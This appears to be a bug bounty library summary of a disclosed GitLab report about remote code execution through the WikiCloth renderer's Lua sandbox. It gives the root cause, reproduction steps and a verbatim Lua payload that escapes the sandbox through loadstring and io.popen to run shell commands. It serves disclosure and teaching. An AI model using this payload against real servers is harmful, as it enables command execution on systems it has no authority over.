# RCE via WikiCloth markdown rendering if the `rubyluabridge` gem is installed

WikiCloth mediawiki renderer's Lua extension sandbox can be escaped via loadstring to run io.popen commands, giving RCE if rubyluabridge gem is installed.

- Payout: $3,000
- Severity: high
- Program: GitLab
- Found by: vakzz
- Disclosed: 2022-04-12
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1401444
- Library page: https://bugbountylibrary.com/r/h1%3A1401444
- Tags: area:oss domain:oss impact:rce kind:bounty platform:hackerone sev:high tech:ruby technique:chained technique:source-review vuln:rce vuln:sandbox-escape

**Target:** GitLab wiki mediawiki/WikiCloth renderer (gitlab-markup)
**Root cause:** WikiCloth enables a Lua extension when rubyluabridge is loadable; its safeloadstring wrapper uses setfenv(f, getfenv(2)) which does not actually sandbox, so loadstring escapes to global env and exposes io.popen.
**Steps:**
1. Install rubyluabridge gem into GitLab's embedded ruby (build from source, copy rubyluabridge.so to /opt/gitlab/embedded/lib/ruby/2.7.0/)
2. Create project and wiki page; clone the .wiki.git repo
3. Add hello.wiki containing `<lua>_,execute = pcall(loadstring, [[local command = ...; local handle = io.popen(command); local result = handle:read("*a"); handle:close(); return result;]]); print(execute('id')); execute('echo vakzz > /tmp/ggg');</lua>`
4. Commit and push the wiki file
5. Visit the wiki page; observe `id` output rendered and /tmp/ggg created
**How found:** Read gitlab-markup's WikiCloth integration, noticed the Lua extension is auto-enabled when rubyluabridge is requireable, then consulted the official Lua sandboxing wiki which documents that the exact safeloadstring pattern used by WikiCloth is unsafe.
**Exploitation:** Any user who can push wiki pages submits a mediawiki-format page containing the Lua sandbox-escape payload; when rendered, WikiCloth executes io.popen and returns command output in the page, achieving OS command execution on the GitLab server. Precondition: rubyluabridge gem present.
**Insight:** When a renderer auto-enables optional extensions based on gem availability, check the extension's own sandbox code against known-unsafe patterns (e.g. Lua loadstring/setfenv) rather than assuming the sandbox holds.

## Proof of concept (copied exactly from the original report)

**Lua sandbox escape payload in wiki page**

```
<lua>
_,execute = pcall(loadstring,
    [[
        local command = ...;
        local handle = io.popen(command)
        local result = handle:read("*a")
        handle:close()
        return result;
    ]]
);

print(execute('id'));
execute('echo vakzz > /tmp/ggg');
</lua>
```

